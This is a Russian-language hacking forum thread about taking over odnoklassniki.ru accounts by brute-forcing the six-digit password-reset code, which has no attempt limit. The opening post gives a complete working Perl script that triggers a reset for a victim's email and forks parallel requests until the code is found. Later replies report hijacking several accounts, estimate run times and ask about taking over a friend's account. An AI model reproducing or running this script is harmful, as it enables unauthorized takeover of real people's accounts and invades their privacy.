• XSS.stack #1 – первый литературный журнал от юзеров форума

[odnoklassniki] Взлом odnoklassniki.ru

Winux

Старожил форума
Легенда
Регистрация
12.11.2004
Сообщения
6 358
Реакции
53
Еще достаточно давно вышел сплойт для этого ресурса.
Суть-баг в системе восстановления пароля. Шестизначный код выставляется в ссылке-подтверждени и легко брутится (кол-во попыток не лимитировано).
Нужно знать только мыло.

Минус в том что пароль сменится и жертва быстро спалит бадягу.

Код:
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
print qq(
   ,__                    __,                       
   \\ \\                    / /                     
    \\ \\     __      _    / /                      
       \\  .___/\\:::* /\\ /                         
          |_____\\  |/  \\                         
         /<>//,./      /       _________                             
        /      /      /  \\    |  RST                 
       /      /.,\\\\<>/\\   \\   |   GHC                       
       \\      \\    /'  \\  /   |    UKT
        \\      \\  /     \\     |__\\xD____                         
         \\      \\/      /                           
       /  '''\\'''      /                               
    / /       \\   \\   / \\ \\                         
   / /         ___ \\ /   \\ \\                       
   *__                    __*
       [preved odnoklassne4gi]
         
);



if (!scalar(@ARGV)) {
    print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n";
    exit();
}
if (-e "success") {
    print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n";
    exit();    
}
my($email,$MAX_PROCESSES,$DEBUG,@pids,$npids,$ua,$page,$page_content,$not,$code,$cod,$p,$con,$wait_ret); 

$email="$ARGV[0]";

if ($ARGV[1]) {
    $MAX_PROCESSES=$ARGV[1];
} else {
    $MAX_PROCESSES=5;
}
$DEBUG=0;

@pids;
$npids=0;

# first step - omg! I lost my password?!?!?!
$ua=LWP::UserAgent->new();
$page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]);
$page_content=$page->content();
if ($page_content=~/st.email/) {
    print "\[-\] Please provide correct email address\n";
    exit();
} else {
    print "\[+\] Repair password code send to $email\n";
}

# step number two - bruteforce code for repair password
print "\[~\] Brutforce code for repair password\
This process make take max ~ 18 hours to check all combinations\
You need good internet channel and fast cpu\n";
open(LOG_FILE,">>log");
$not=1;
for ($code=100000;$code<=999999;$code++) {
    if (-e "success") {
        print "DONE";
        exit();
    }
    if ($code==199999 && $not==1) {
        $cod="099999";
        $not=0;
        $code=100000;
    } elsif ($code=~/^1(\d+)$/ && $not==1) {
        $code=~/^1(\d+)$/;
        $cod="0$1";
    } else {
        $cod=$code;
    }
    if ($cod=~/^(\d+)000$/) {
        print "#";
    }

    my $pid;
    $pid=fork();
    if($pid>0){
	push(@pids,$pid);
	$npids++;
	if($npids>=$MAX_PROCESSES){
     for(1..($MAX_PROCESSES)){
  $wait_ret=wait();
  if($wait_ret>0){
                    $npids--;
                }
            }
        }
        next;
    }elsif(undef $pid){
        print "fork error\n" if ($DEBUG);
        exit(0);
    }
    $p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]);
    $con=$p->content();
    if ($con=~/password.confirmation/) {
        print "$cod cached\n";
        print LOG_FILE "$cod cached\n";
        open(SUCCESS,">>success");
        print SUCCESS "\n############################\n";
        print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n";
        print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
        print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
        print SUCCESS "############################\n";
        print "############################\n";
        print "Yahooo! Congratulations! Code for password repair is - $cod\n";
        print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
        print "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
        print "############################\n";
        close(SUCCESS);
    } else {
        print LOG_FILE "$cod failed\n";
    }
    exit();
}
close(LOG_FILE);
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кто-нить его пробовал какое время перебора 899999 комбинаций? Там есть форк, получается процессов несколько только как они взаимосвязаны не понял ибо хреново знаю перл :)
 
Бррр.... предлагаю вам собраться(я меня нет дедиков - так бы помог) и протестить, записать на видео(ключевые моменты - хотя в принципе там мало чего записывать), и рассказать ЧТО и КАК было
 
Чего там записывать? Вбиваешь данные, запускаешь брут, ждёшь. Брутил пару акков. Если с дедика, то получается примерно 1-2 дня.
 
2WareZxZ Умник? имеешь сервис по Онлайн фильмам и говоришь, что нету дедика? Как тебе не стыдно..?
 
оно ещё пашет? жертва всё равно на мыло потом восстановить може тпологаю?
Другу ак нужен, он сам дуб, в падлу смс за 30р отправлять =)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх